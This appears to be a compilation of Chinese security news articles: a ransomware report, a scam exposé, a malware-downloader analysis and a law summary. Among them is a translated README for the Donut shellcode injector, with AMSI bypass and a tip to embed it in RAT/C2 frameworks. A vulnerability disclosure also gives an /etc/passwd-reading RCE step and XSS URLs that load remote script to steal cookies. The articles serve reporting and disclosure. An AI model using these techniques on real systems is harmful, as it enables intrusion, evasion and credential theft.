截至2019年6月,勒索病毒的活跃度依旧高居不下,相对于刚进入大众视野时的“蠕虫式”爆发,如今的勒索病毒攻击活动越发具有目标性、隐蔽性,攻击者通常会破坏入侵过程留下的证据,使得溯源排查难以进行;勒索变种也趋于“无特征化”,如使用随机后缀、勒索信息文件无明显特征等,难以分辨其家族。

高发勒索家族

从勒索病毒家族来看,国内高发的勒索病毒家族主要有GlobeImposter、GandCrab、CrySiS、CroptON、Attention等:

01.png

受害行业分布

从勒索病毒攻击目标来看,企业、科研教育成为勒索病毒的主要目标行业,总占比达到52%;在企业受害用户中,文件服务器、财务服务器等存储重要数据文件的服务器通常是攻击者的首要目标:

02.png

受灾区域分布

从勒索病毒受灾区域来看,广东省地区受感染情况最为严重,其次是浙江省和湖南省:

03.png

攻击方式占比

从勒索病毒攻击方式来看,RDP暴力破解仍然是使用最为广泛的攻击方式,因此,将服务器3389端口映射到公网并使用简单密码,是非常容易受到勒索病毒入侵的,并且内网如果使用了相同的弱密码,可能导致多台终端遭到入侵;其次,社会工程也成为攻击者获取密码的一种方式,使用公司邮箱注册挖矿账号、注册不良网站账号等行为可能会带来密码泄露的风险:

04.png

2019上半年勒索病毒发展走向:

勒索时间轴.png

CrySiS勒索病毒jack变种

传播途径:社会工程、RDP远程爆破等方式手动投放

勒索特征:.jack

详细分析:https://mp.weixin.qq.com/s/aoR2eFtRi9K2rUNJQMX3Hg

图片1.png

Attention勒索病毒

传播途径:社会工程、RDP远程爆破等方式手动投放

勒索特征:大写的随机[10-12]个英文字母

详细分析:https://mp.weixin.qq.com/s/yU3jfTbl9CRp2BJEsGTSFw

图片2.png

Phobos勒索病毒

传播途径:RDP暴力破解+人工投放

勒索特征:[原文件名]+id[随机字符串]+[邮箱地址].phobos

详细分析:https://mp.weixin.qq.com/s/qe4MdwK6HAMHERF2xGo_EQ

图片3.png

图片4.png

Seon勒索病毒

传播途径:漏洞利用工具包Bizarro Sundown(GreenFlash)

勒索特征:.FIXT

详细分析:https://mp.weixin.qq.com/s/t_L9ARGiiCusImPvhB6ifA

图片5.png

图片6.png

CryptON

传播途径:RDP暴力破解+人工投放

勒索特征:id-[数字]_[[email protected]]_[[email protected]].x3m

详细分析:https://mp.weixin.qq.com/s/h4c0n1gV-ghp5CKTo83HZA

图片7.png

图片8.png

GandCrab v5.2

传播途径:钓鱼邮件、RDP暴力破解

勒索特征:随机后缀

详细分析:https://mp.weixin.qq.com/s/M93V2oWuwjdtOxI9-Vz6SQ

图片9.png

相关变种:GandCrab“蓝屏”变种

详细分析:https://mp.weixin.qq.com/s/0-5xweSvuGpDhHdNAMO6qg

图片10.png

X_Mister勒索病毒

传播途径:RDP暴力破解+人工投放

勒索特征:[原文件名]+[.Mr-X666]

详细分析:https://mp.weixin.qq.com/s/UOL7HwgS-nNjxLltAroNZA

图片11.png

Planetary勒索病毒

传播途径:RDP暴力破解、垃圾邮件

勒索特征:.pluto、.mecury、.Neptune、.yum、.mira后缀

详细分析:https://mp.weixin.qq.com/s/hoD1gqTC5IPjZhDT4o9Wdw

图片12.png

Golden Axe勒索病毒

传播途径:未知

勒索特征:五位随机字符后缀

详细分析:https://mp.weixin.qq.com/s/QaHJ1S-4zgH5IaUprekgHw

图片13.png

图片14.png

Tater勒索病毒

传播途径:RDP暴力破解+人工投放

勒索特征:“.tater”后缀

详细分析:https://mp.weixin.qq.com/s/fMTkQHX6icjyFnZV4B5VXw

图片15.png

LockerGoga勒索病毒

传播途径:定向攻击

勒索特征:”.locked”后缀

详细分析:https://mp.weixin.qq.com/s/Izl9dGKObok2Wlu_qh32_w

图片16.png

Paradise勒索病毒

传播途径:RDP暴力破解+人工投放

勒索特征:[原文件名]_[随机字符串]_{[email protected]}.p3rf0rm4

详细分析:https://mp.weixin.qq.com/s/O4uMtDdFWVmAh2VEP3n7Kg

图片17.png

图片18.png

GlobeImposter4.0变种

传播途径:社会工程、RDP暴力破解、恶意程序捆绑等

勒索特征:“.auchentoshan”后缀

详细分析:https://mp.weixin.qq.com/s/fmeZZiRmkfYi-K1H0RAKTg

图片19.png

JCry勒索病毒

传播途径:网页篡改

勒索特征:”.cry”后缀

详细分析:https://mp.weixin.qq.com/s/OnaWth1_Q5HtH8vEGQFnBA

图片20.png

图片21.png

CrazyCrypt2.1勒索病毒

传播途径:未知

勒索特征:“原文件名 + id.主机id.[[email protected]].crazy”

详细分析:https://mp.weixin.qq.com/s/ndf_F6xiNOvTw1LgYoP0kg

图片22.png

Gorgon(蛇发女妖)勒索病毒

传播途径:代理

勒索特征:.[[email protected]]后缀

详细分析:https://mp.weixin.qq.com/s/AMMD0Hm3IFNuKXvlpoY5nQ

图片23.png

图片24.png

Clop勒索病毒

传播途径:冒用有效的数字签名

勒索特征:”.Clop“后缀

详细分析:https://mp.weixin.qq.com/s/xQ8ycFhjuSAnbSzUHHYsqQ

图片25.png

Ryuk勒索病毒

传播途径:垃圾邮件、漏洞利用工具包

勒索特征:”.RYK”后缀

详细分析:https://mp.weixin.qq.com/s/5WlAyZvyfoiEmv4JQSTaVg

图片26.png

2019年6月,赚取了超过20亿美元赎金的GandCrab勒索软件团队宣布将在一个月内关闭其RaaS(勒索软件即服务)业务,然而,GandCrab的落幕并不代表勒索病毒时代的终结,只有加强安全防护意识,才能避免不必要的损失。

针对勒索病毒肆虐,严重影响用户业务安全问题,深信服已有完整的解决方案,主要从系统脆弱性和事件响应高效性两个方向进行重点突破。众所周知,企业系统脆弱性是企业被勒索病毒入侵的根因,也就是说,正是因为企业内部存在漏洞、弱密码、高危端口暴露等诸多问题,才给了黑客可乘之机;而勒索病毒不同于其它病毒,其主要危害是短时间内威胁企业核心数据资产,所以当勒索病毒发生的时候,必须进行争分夺秒的事件响应,高效和专业才能将勒索病毒的危害迅速降到最低。

系统脆弱性方面

勒索病毒入侵行为包括,弱密码爆破、端口扫描、钓鱼邮件以及采用无法被检测到的手段进行勒索(如0day),或者对没有实施监控措施的系统发起攻击,对于防御方来说都是无法看到的。特别是在漏洞公开到漏洞补丁发布的这个时间差内进行勒索,针对没有被企业集中管理和打补丁的系统进行勒索,并对安全设备和日志审计设备发起攻击,阻止这些设备进行记录或者抹去这些设备上的恶意活动记录,这样防御者就无法看到整体的勒索事件。

事件响应高效性

多数企业没有完善的响应流程,导致响应时决策和动作都很缓慢,当发生勒索病毒等重大安全事故时往往手足无措,没有可参考的流程。所以,在平时就需要进行应急响应的演练,需要流水线式的流程,明确的决策权和责任线。企业实践响应流程没有把勒索IoC反馈给监测和检测流程,使得防御者误以为态势已经被遏制住了。响应过程没有有效的对勒索真正利用的漏洞进行修补,这样黑客后续还能再从那个空子钻进来。蓄意攻击者利用应急响应流程,作为他们攻击计划的一部分,例如配合DDoS声东击西的进行勒索。

深信服安全团队提醒大家:

1、及时给电脑打补丁,修复漏洞。

2、对重要的数据文件定期进行非本地备份。

3、不要点击来源不明的邮件附件,不从不明网站下载软件。

4、尽量关闭不必要的文件共享权限。

5、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

6、如果业务上无需使用RDP的,建议关闭RDP。当出现此类事件时,推荐使用深信服防火墙,或者终端检测响应平台(EDR)的微隔离功能对3389等端口进行封堵,防止扩散! 

donut.png

Donut是一个shellcode生成工具,它可以从.NET程序集中创建与位置无关的shellcode payloads。此shellcode可用于将程序集注入任意Windows进程。给定一个任意.NET程序集,参数和入口点(如Program.Main),Donut就可为我们生成一个与位置无关的shellcode,并从内存加载它。.NET程序集可以通过直接嵌入shellcode从URL或Stageless进行分阶段。无论哪种方式,.NET程序集都将使用Chaskey block cipher和128-bit随机生成的密钥进行加密。通过CLR加载程序集后,原始引用将从内存中删除以躲避内存扫描程序检测。程序集将被加载到一个新的应用程序域(AppDomain) 中,以允许在可释放的AppDomain中运行程序集。它可以以多种方式使用。

作为独立工具使用

Donut可用于从任意.NET程序集生成shellcode。同时提供了Windows EXE和Python script(计划用于v1.0版的python)的payload生成。命令行语法如下。

usage: donut [options] -f <.NET assembly>

       -f <path>            .NET assembly to embed in PIC and DLL.
       -u <URL>             HTTP server that will host the .NET assembly.
       -c <namespace.class> Optional class name. (required for DLL)
       -m <method>          Optional method name. (required for DLL)
       -p <arg1,arg2...>    Optional parameters or command line, separated by comma or semi-colon.
       -a <arch>            Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).
       -r <version>         CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
       -d <name>            AppDomain name to create for assembly. Randomly generated by default.

 examples:

    donut -f assembly.exe
    donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll
    donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/

从源码构建 Donut

已为包含已编译可执行文件的每个发布版本的donut提供了tags。

v0.9 Beta:https://github.com/TheWover/donut/releases/tag/v0.9

v0.9.1 Beta:https://github.com/TheWover/donut/releases/tag/v0.9.1

你也可以使用提供的makefile自行克隆和构建源码。启动Microsoft Visual Studio Developer命令提示符并cd到donut的目录。Makefile(非gcc)可以通过-f Makefile.msvc进行指定。makefile提供以下命令来构建donut:

nmake donut -f Makefile.msvc
nmake debug -f Makefile.msvc
nmake clean -f Makefile.msvc

作为库

对于Linux(.a/.so)和Windows(.lib/.dll),可以将donut编译为动态库和静态库。它有一个简单的API,在docs/api.html中有描述。提供了两个导出函数:int DonutCreate(PDONUT_CONFIG c) 和 int DonutDelete(PDONUT_CONFIG c)。

作为模板 – 重建 shellcode

payload.c包含.NET程序集加载程序,该加载程序应使用Microsoft Visual Studio和MingW-W64成功编译。已为两个编译器提供了make文件,默认情况下,这两个编译器将生成x86-64 shellcode,除非将x86作为标签提供给nmake/make。每当payload.c被更改时,建议在重建donut之前重新编译所有架构。

Microsoft Visual Studio

打开x64 Microsoft Visual Studio构建环境,切换到payload目录,然后键入以下内容:

nmake clean -f Makefile.msvc
nmake -f Makefile.msvc

这将从payload.c. exe2h生成一个64位可执行文件(payload.exe),然后从PE文件的.textsegment提取shellcode,并将其作为C array,保存到payload_exe_x64.h。当重新构建donut时,这个新的shellcode将用于它生成的所有payloads。

想要生成32位shellcode,请打开x86 Microsoft Visual Studio构建环境,并切换到payload目录,然后键入以下内容:

nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc

这会将shellcode作为C array保存到payload_exe_x86.h中。

Mingw-w64

假设你在Linux上,并且mingw-w64是从软件包或源码安装的,那么你仍然可以使用我们提供的makefile重新构建shellcode。切换到payload目录并键入以下内容:

make clean -f Makefile.mingw
make -f Makefile.mingw

一旦为所有架构重新编译,就可以重建donut。

绕过

donut包括用于AMSI和其他安全功能的绕过系统。目前可以绕过:

.NET v4.8中的AMSI

Device Guard策略阻止动态生成的代码执行

你也可以在payload/bypass.c中自定义或添加自己的绕过方案。

每个bypass都使用BOOL DisableAMSI(PDONUT_INSTANCE inst)签名实现DisableAMSI功能,并附带相应的预处理器指令。我们有几个#if defined blocks来检查定义。每个block实现相同的bypass功能。例如,我们的第一个bypass称为BYPASS_AMSI_A。如果donut是用定义的变量构建的,则将使用该bypass。

为什么这么做?因为这意味着只有你使用的bypass内置在payload.exe中。因此,其他代码不包含在shellcode中。这减少了shellcode的大小和复杂性,增加了模块化的设计,并确保扫描程序无法在shellcode中找到你实际未使用的可疑块。

这么设计的另一个好处就是,你可以编写自己的AMSI bypass。要使用新的bypass构建Donut,请使用if defined block进行bypass,并修改makefile以添加一个使用定义的bypass名称构建的选项。

如果你愿意,可以扩展我们的bypass系统来添加在加载.NET程序集之前运行的其他预执行逻辑。

这里有一篇有关AMSI bypass研究的详细文章大家可以参考下。

个人建议

以下建议留给大家作为练习:

添加环境键控

每次生成shellcode时,通过混淆payload使donut具有多态性

将donut作为模块集成到你最喜欢的RAT/C2框架中

免责声明

我们不会针对任何的AV和检测实时更新签名进行对抗。

对于任何滥用此软件或技术的行为,我们概不负责!该工具仅作为研究学习使用!

工作原理

Procedure

Donut使用Unmanaged CLR Hosting API来加载公共语言运行时(Common Language Runtime)。如有必要,程序集将下载到内存中。无论哪种方式,都使用Chaskey block cipher对其进行解密。将CLR加载到主机进程后,除非另行指定,否则将使用随机名称创建新的AppDomain。AppDomain准备就绪后,将通过AppDomain.Load_3加载.NET程序集。最后,使用任意指定的参数调用用户指定的入口点。

以上逻辑描述了donut生成的shellcode的是如何工作的。该逻辑是在payload.exe中定义。要获取shellcode,exe2h从payload.exe中的.text segment中提取已编译的机器代码,并将其作为C array保存到C header文件中。donut将shellcode与Donut实例(shellcode的配置)和Donut模块(包含.NET程序集,类名,方法名和任意参数)相结合。

有关未记录的CLR Hosting API的文档,请参阅MSDN:https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

有关CLR主机的单独示例,请参阅Casey Smith的AssemblyLoader存储库:https://github.com/caseysmithrc/AssemblyLoader

有关Donut如何运作的详细博文,可在Odzhan和TheWover的博客中找到。链接位于README的开头部分。

组件

donut.c: donut payload生成器源码

donut.exe: 编译为可执行文件EXE

donut.py: 编译为Python script(计划用于v1.0版的python)

lib/donut.dll, lib/donut.lib: 在Windows平台将Donut作为一个动态和静态库用于其他项目

lib/donut.so, lib/donut.a:在Linux平台将Donut作为一个动态和静态库用于其他项目

lib/donut.h: 如果在C/C++项目中使用静态库或动态库,则包含头文件

payload/payload.c:shellcode源码

payload/payload.exe: 编译的payload。shellcode是从这个二进制文件中提取的。

payload/inject.c:一个C shellcode injector,注入payload.bin到一个特定进程用于测试。

payload/inject.exe: 编译的C shellcode injector

payload/runsc.c:一个C shellcode runner,用于以最简单的方式测试payload.bin

payload/runsc.exe: 编译的C shellcode runner

payload/exe2h/exe2h.c: exe2h源码

payload/exe2h/exe2h.exe: 从payload.exe中提取有用的机器代码,并将其作为数组保存到C头文件中

encrypt.c: 在Counter(CTR)模式下用于加密的Chaskey 128-bit block cipher。

hash.c: Maru hash 功能。使用具有Davies-Meyer构造的Speck 64位分组密码进行API散列。

子项目

donut提供了四个配套项目:

DemoCreateProcess:用于测试的.NET程序集示例。采用两个命令行参数,每个参数指定要执行的程序。

DonutTest:用于测试donut的简单C# shellcode injector。shellcode必须是base64编码,并以字符串形式复制。

ModuleMonitor:一个概念验证工具,可以检测CLR注入,因为它是由Donut和Cobalt Strike的执行程序集等工具完成。

ProcessManager:一个进程发现工具,攻击者可以使用它来确定注入的内容,防御者则可以用来确定正在运行的内容,这些进程具有哪些属性,以及它们是否加载了CLR。

项目计划

创建一个donut Python C扩展,允许用户编写可以通过编程方式使用donut API的Python程序。它将用C语言编写,但作为Python模块公开。

创建一个C#版本的生成器

创建一个donut.py生成器,使用与donut.exe相同的命令行参数

添加对HTTP代理的支持

如果可能,找到简化shellcode的方法

添加选项以指定最大参数长度

添加对动态查找EXE入口点并使用命令行参数执行的支持

写一篇博文,介绍如何将donut集成到你的工具中,并进行调试和定制,以及设计与之可协同工作的的payload。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

不久前,Facebook宣布要发布一种新型加密货币,随即加密货币的价格便迎来了一波上涨。同时,一种旧的骗局正在复苏,或许有人还记得:在网上冒充名人并向用户赠送比特币。

cryptocurrency.jpg

安全研究员Frost最先发现了这个骗局,在twitter发布了相关内容,即:如果用户向对方给定的地址列表发送0.5-5个比特币或0.5-50个以太坊代币,则可收到十倍的回报。并且,本次欺骗采用的“壳”是特斯拉CEO埃隆·马斯克以及McAfee创始人约翰·麦克菲。

fake-tesla.jpg伪造的特斯拉页面

fake-mcafee.jpg伪造的麦克菲页面

欺诈页面显示为一个加密货币池,页面上显示了加密货币剩余多少,提供给用户的发送地址,以及实时发生的交易流水列表。这些数据的显示让这个网站看起来有非常大的用户量和交易量,给人一种很活跃的感觉,并且用户看着不断变化的货币池也能更安心一些,毕竟在这个数字归零之前都能继续投入。

live-transactions.jpg

推广方式

这些诈骗网站都是通过Twitter来推广的,并且会有人将账号专门伪装成一系列知名人士,在推广中加入一些指向其他网站的连接。当进入推广页面时,就可以看到一个窗口,比如下面这个,文章名为“来自马斯克的BTC和ETH赠品”,并且在文章底部会有欺诈页面的链接。

tweet.jpg伪造的马斯克推特

fake-medium-article.jpg进入链接之后的页面

为了使这些页面看起来更逼真,它们甚至还有伪造的媒体页面和各种“水军”评论,尽可能的忽悠新用户入局。

call-to-action.jpg伪造的评论

尽管简单但仍然有人受骗

可能很多人会觉得这些网站漏洞百出,用户都会有非常警惕的用网意识,不会被骗,然而并不是这样。

在这个骗局中,McAfee Ethereum这边要求用户将自己的加密货币发送到0x5400cff7Aa5537881B305D838a951C3feC123B10这个地址,目前来看,这个地址已经收到了4笔付款,总金额折算下来约为310美元。

ethereum-transactions.jpg

这边没有多少收入,但另一边比特币却做的风生水起。比特币的发送地址为15gvRgxdwMF5y3Kcc2X7WLpUMGW9wgyRB4,该地址目前已收到了0.418个比特币,根据当前的市场价大概是4473.6美元。

fake-tesla-bitcoin-address-.png

随着加密货币的价格继续上涨,我们可能还会看到更多类似的骗局,这种欺诈可以说是没有任何技术含量,但仍然不断的有人堕入其中。虽然网络监管在不断加强,但人的本性无法改变,想要不被骗,最简单的大概还是克制住自己的贪欲。 炒币有风险,投资需谨慎。

*参考来源:bleepingcomputer,Karunesh91编译,转载请注明来自FreeBuf.COM

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

using third-party js libraries.png-800x400.png当前,很多网站都会使用第三方特定JavaScript库的方式来增强网站的显示应用功能,通常情况下,这种嵌入到网站中的库可以方便直接地从第三方服务提供商的域中加载,实现对当前网站的优化和功能增强。然而,这种嵌入到很多网站中的第三方库往往会是一个致命的攻击面,可以导致嵌入网站更容易遭受一些潜在攻击。

本文披露了当前流行的第三方JavaScript库中的三个漏洞,鉴于这三个漏洞的严重性,可能会对嵌入这些流行库的数千家机构网站造成影响。

示例1 :datatables.net中的远程代码执行漏洞(RCE)

Datatables.net是一个专门提供表格HTML显示的免费库网站,其官网声称只要在你的网站中嵌入一个存储在cdn.datatables.net的.js或.css文件,就能实现表格HTML化显示。

01.png也就是说,如果大量的互联网网站嵌入了这个存储在cdn.datatables.net的.js或.css文件作为网站资源库,那么,只要这两个资源库文件存在漏洞,那么相应的引用嵌入网站也就可能受到影响了。

以下面这个澳大利亚政府网站为例,它在其中就嵌入引用了存储在cdn.datatables.net的.js库文件- jquery.dataTables.min.js:

02.png当浏览datatables.net官网服务后可知,其中的js库文件会向远端应用https://editor.datatables.net/generator/发起请求,这个远端应用会在后台生成并测试一些需要显示的HTML表格。每次请求生成一个新表格之后,相应地也会生成并返回给目标网站一个php文件。我们利用.datatables.net这种生成php文件的过滤漏洞,可以在其中写入某些参数,实现一定程度的RCE攻击,例如,我们可在下述php创建机制的红框内写入RCE Payload:

03.png在$_GET(1)中,把1换为cat /etc/passwd,看看会发生什么:

04.png就这样,datatables.net中的密码文件/etc/passwd就被直接读取出来了,另外,经验证,可利用该漏洞读取 cdn.datatables.net上其它敏感文件。这种第三方库提供商的RCE加文件读取的漏洞让人浮想联翩,当然,嵌入这些库文件的大量网站,其受影响程度也想想都后怕了。

漏洞示例2:Tealium iQ上的路径遍历漏洞(Path Traversal)

Tealium iQ公司提供的智能标签管理解决方案,专门对数据标签进行有效管理,只要一个Tealitma IQ标签,就可取代网站上所有商家的标签,实现对营销解决方案的在线控制。如以下Uber网站就引用嵌入了Tealium iQ的标签服务:

05.png

该服务会去请求一个名为tags.tiqcdn.com的Tealium iQ .js库文件:

https://tags.tiqcdn.com/utag/<Account Name>/<Profile Name>/prod/utag.js

这里存在的漏洞是,Tealium iQ标签服务对网站输入的配置文件名(Profile Name)数据处理不当,问题在于,Tealium iQ远端服务允许 / 和 . 两种特殊字符在Profile Name中存在。

可以利用这两种字符来操控那些加载配置文件的目录,例如,如果配置文件名称中有../../utag/uber/main,那么,其相应的js代码就会向上传到tags.tiqcdn.com中形成https://tags.tiqcdn.com/utag/uber/main/prod/utag.js这样,它将被嵌入到任何利用Tealium iQ的Uber网站页面中。

该漏洞已在Uber漏洞众测项目和其它Bug赏金平台提交上报过,在此,我编写了以下简单的代码,通过它可以更改任意tags.tiqcdn.com上的js文件,实现对tags.tiqcdn.com的目录遍历。

06.png该漏洞可能会对Uber、Microsoft、Cisco和Inte的大多数网站造成影响。

漏洞示例3:TradingView图表库中的DOM Based XSS漏洞

TradingView提供专门的流行图表绘制显示服务,在金融和加密货币交易平台应用相较广泛,可以说,大多的加密货币交易平台都使用了它提供的图表服务库显示了在线交易信息。然而,2018年9月24日,名为Victor Zhu的安全研究人员发现了TradingView的一个高危DOM Based XSS漏洞,所有引用嵌入其库文件的加密货币网站都受到影响。

任何引用嵌入TradingView库文件的网站中都会存在一个可被公开访问的,样式为tv-chart.html的文件,这个html文件通过location.hash参数来初始化交易图表,图表初始化完成之后,指向以下类型页面的iframe链接将被加载到网站页面上:

https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark

漏洞就在于,TradingView库文件的一个第三方图表加载函数中,该函数从目标网站输入的indicatorsFileparameter中获取一个链接,并传输到了$.getScript()中:

D ? $.getScript(urlParams.indicatorsFile).done(function() {…})

07.png那么,可以在其中的获取链接上做文章,在其中注入远程js文件,实现恶意目的,如:

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js

当用户访问了这条链接之后,远程的xss.rocks/xss.js就会加载运行读取用户Cookie:

08.png当该漏洞被披露后,TradingView释放了一个新版本的库文件进行替代修复,其中之前负责加载第三方图表的函数被做了修改替换,修改后的函数如下:

09.png但是,这种修复方法依然存在漏洞,在添加uid=urlParams参数时,可以使用thecustomIndicatorsUrl参数复现之前出现的漏洞,构造的最终Payload如下:

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams

之后,TradingView再次对库文件进行了修复,终于完全堵塞了漏洞。但是,一些加密货币交易平台仍然在用存在漏洞的库文件版本,经对当前所有的加密货币交易平台进行了测试后发现,包括CoinMarketCap和一些交易量较大的90多家平台仍然存在TradingView库文件的上述Dom Based XSS漏洞,TradingView对这些平台进行了及时告知,但却:

46家交易平台选择忽视该漏洞通报;

44家交易平台进行了回复并询问了详细技术细节;

19家交易平台最终修复了该漏洞;

7家交易平台建议对该漏洞给予奖励。

总结

作为安全人员来说,当测试Web应用安全性时,应该把其中使用的第三方产品或程序考虑在内,它们同样至关重要;作为网站运营方来说,要慎重使用嵌入引用的第三方库文件。

*参考来源:dmsec,clouds编译,转载请注明来自FreeBuf.COM

密码法草案于6月25日提请十三届全国人大常委会初次审议。草案明确,任何组织或者个人不得窃取他人的加密信息,不得非法侵入他人的密码保障系统,不得利用密码从事危害国家安全、社会公共利益、他人合法权益的活动或者其他违法犯罪活动。

密码法草案中的密码,是指使用特定变换对信息等进行加密保护或者安全认证的产品、技术和服务。密码的主要功能有两个:一个是加密保护,另一个是安全认证。

密码法草案共分总则,核心密码、普通密码,商用密码,法律责任,附则五章四十四条。

作为一部密码领域综合性、基础性法律,密码法立法过程中秉持三个原则:

一是明确对核心密码、普通密码与商用密码实行分类管理的原则。

二是注重把握职能转变和“放管服”需要与保障国家安全的平衡。

三是注意处理好草案与网络安全法、保守国家秘密法等有关法律的关系。

关于密码工作的领导和管理体制,草案明确:坚持中国共产党对密码工作的领导;中央密码工作领导机构对全国密码工作实行统一领导,制定国家密码重大方针政策,统筹协调国家密码重大事项和重要工作,推进国家密码法治建设。国家密码管理部门负责管理全国的密码工作;县级以上地方各级密码管理部门负责管理本行政区域的密码工作;国家机关和涉及密码的单位在其职责范围内负责本机关、本单位或者本系统的密码工作。

关于密码的分类管理原则,草案明确规定密码分为核心密码、普通密码和商用密码,实行分类管理。相应的,草案提出了密码分类保护的原则要求:核心密码、普通密码用于保护国家秘密信息,核心密码保护信息的最高密级为绝密级,普通密码保护信息的最高密级为机密级;核心密码、普通密码属于国家秘密,由密码管理部门依法实行严格统一管理。商用密码用于保护不属于国家秘密的信息;公民、法人和其他组织均可依法使用商用密码保护网络与信息安全。

此外,草案还规定了相应的法律责任。

*本文来源:中新网,转载请注明原出处

一身挖洞神技无人知晓

渗透、二进制、Python样样能玩转

周末却只能一个人在家玩面包板

请停止挥霍自己的年华

请不要埋没自己的优秀

加入FreeBuf公开课讲师团队

让你的知识技术更有价值

微信截图_20190625104533.png

微信截图_20190625104729.png

只要你技术过硬,乐于分享都可以来报名!

微信截图_20190625104947.png

和安全相关的都可以!

安全理论、安全运维、web安全、数据安全、服务器安全、

 软件安全、系统安全、安全运营、 安全智能、

云安全、无线安全、移动安全、智能硬件安全…

微信截图_20190625105155.png

80%课程收益

FreeBuf给你舞台,课程收益的80%属于你。

高比例的课程收益让你的每次付出都能有回报。

包装机会

我们有专业的运营团队对你进行包装宣传,

通过FreeBuf大流量曝光课程,

帮助你收获粉丝、成为网红讲师、提高在安全行业的知名度。

开课成功的讲师将获得1次/年的FreeTalk演讲资格

FIT演讲资格

年度课程销量TOP3的讲师,将获得珍贵的FIT演讲资格(包差旅)

FreeBuf认证

开课成功的讲师将获得FreeBuf颁发的讲师证书

FreeBuf公开课将于年底评选优质讲师,授予证书以及现金奖励。

漏洞盒子项目直通资格

只要开课成功,你将获得漏洞盒子项目入场券及私密项目受邀资格。

节假日礼物关怀

中秋节之前开课成功的讲师将额外获得FreeBuf中秋节礼物一份。

微信截图_20190625111657.png

微信图片_20190625105323.png

http://wnkjr3khkl2yp0pj.mikecrm.com/jzxiJwj

或添加公开课小助手微信:fbgkk2017

腾讯安全御见威胁情报中心发现一病毒团伙通过伪装多款知名软件的官方下载站传播病毒下载器,其传播渠道是通过购买搜索引擎广告来获得流量,被病毒团伙使用的关键字包括谷歌浏览器、flash player等知名软件。病毒下载器运行后会联网获取推广配置文件,根据配置文件的定义静默推装超过30款软件,此外还会通过锁定浏览器主页及添加网址收藏夹等获得收益。

根据腾讯安图高级威胁追溯系统统计,该病毒五月初开始活跃,每天中招下载的用户近万,累计已有数十万用户电脑被感染。

1.png

传播趋势

以flash player为例,在某搜索引擎里搜索关键字“flash player”,搜索结果第一条展示的就是伪装的flash player官方下载页面(带有广告字样)

2.png

通过搜索引擎广告来欺骗用户下载

点击进入后是一个名为“软件管家”的下载页面,点击该页面任一链接都会下载该病毒下载器。该病毒下载器的文件MD5会频繁变换更新,主要意图是防止安全软件检测后拦截。

3.png

假冒常用工具软件的下载页面

该病毒下载器运行后会发起请求获取配置文件,配置文件地址为:

hxxp://peizhi.bsrbt.com/xzqini/read.php/t_ads/mid_000C29A745B5/d_2019022109/n_xzq/c_xzq-/rgn_440000/ctd_440300/cnt_CN.gif,配置文件中有要推广安装的软件。

目前在该配置文件列表中有超过30款软件推广,只要用户一运行该病毒下载器,电脑便会静默安装包括“迅捷助手、模拟大师、灭神游戏、拷贝兔趣压”等一大堆软件,而不是安装用户通过搜索引擎寻找的那款软件。

4.png

云端配置文件的推装软件列表(总计超过30款)

除了软件推装,病毒还会篡改浏览器设置,添加收藏夹及进行主页劫持,通过云端下载Dll文件broagent_soft.dll进行添加包括天猫红包,淘宝购物等到收藏夹,Dll文件的下载地址也在云端的配置文件中。

5.png

添加若干个网址到收藏夹

通过篡改注册表网址导航及浏览器快捷方式启动参数的方式进行主页劫持,篡改的导航网址同样在配置文件中,浏览器以参数hxxp://990.jlbtcg.cn 启动,最后跳转到带推广id的某网址导航站。

6.png

篡改浏览器快捷方式启动参数

IOC:

DNS:

peizhi.bsrbt.com

dsoft.lkmzv.cn

down.ttp1.cn

MD5:

4f5a76433623c306f2de4828e18d4599

9a87ec896c9b029ef4eb55e1956612b9

776b1c0a68aa00c8b7473008164d36b3

b9e64c1bc2fdb434d3b09959735fd7d5

290fca119066d8ed090012a02393f72e

2e95fe28390b36365ad2d088b8446dbe

3fcf5fb527dbf90c2d888bd66102699a

3f79cbd01e8153224be4b0cca54c7a71

06929d1ebc78ed94782d968ed4caae80

791f5c1654a37aeb74d119ede603d271

a29f3b4c0efa274f69fe68dc808c766f

ba6138b0a49371a41b9aa92de4d1144a

fd65edb5a9c211120406eb309c51d018

77df998baabaa41d73997f0bc8960a28

8b7ebccf477faed3f7dcd8e2c07547a4

3c49530f2532d7d8fa2fa13b0137cba9

9c0c2006a63e8d0408dc67d9f79de720

3fda928d785e79bb40c9207e8595ba80

72771f431978b6bab01c5af6d574ce26

c5d4a09399b577961b4d8e9373338e09

3fca456aafeb975bbe2d4a352993d87b

a0a990e1e3cc60b11622cc82f49efc84

d48067609eec2559d286409fc5937d26

c548b185e55664a4e1819233e4b16c07

718a6c75760f8ad2e89b53a1e91da218

5d2536d26d1b12f534a5e347bd772343

edc70063bc2f59901e7b84d2a0920924

95ceaa05e50c3306489e7af79437313c

cc15e3e31c544a1025429217fc629e6c

根据梭子鱼(Barracuda)最新发布的一份报告显示,鱼叉式网络钓鱼攻击(包括商业电子邮件妥协和品牌假冒)正在呈现上升趋势。与此同时,Proofpoint今年早春发布的一份报告也显示,在2018年第四季度中,每家目标组织遭遇的BEC攻击数量同比增长了476%;Mimecast也在其发布的《2019年电子邮件安全年度报告》中指出,品牌假冒和BEC攻击增长了67%,且其中73%的受害组织遭受了直接损失。

68eee535d5dd46cc918b00f77dc11ff6.png

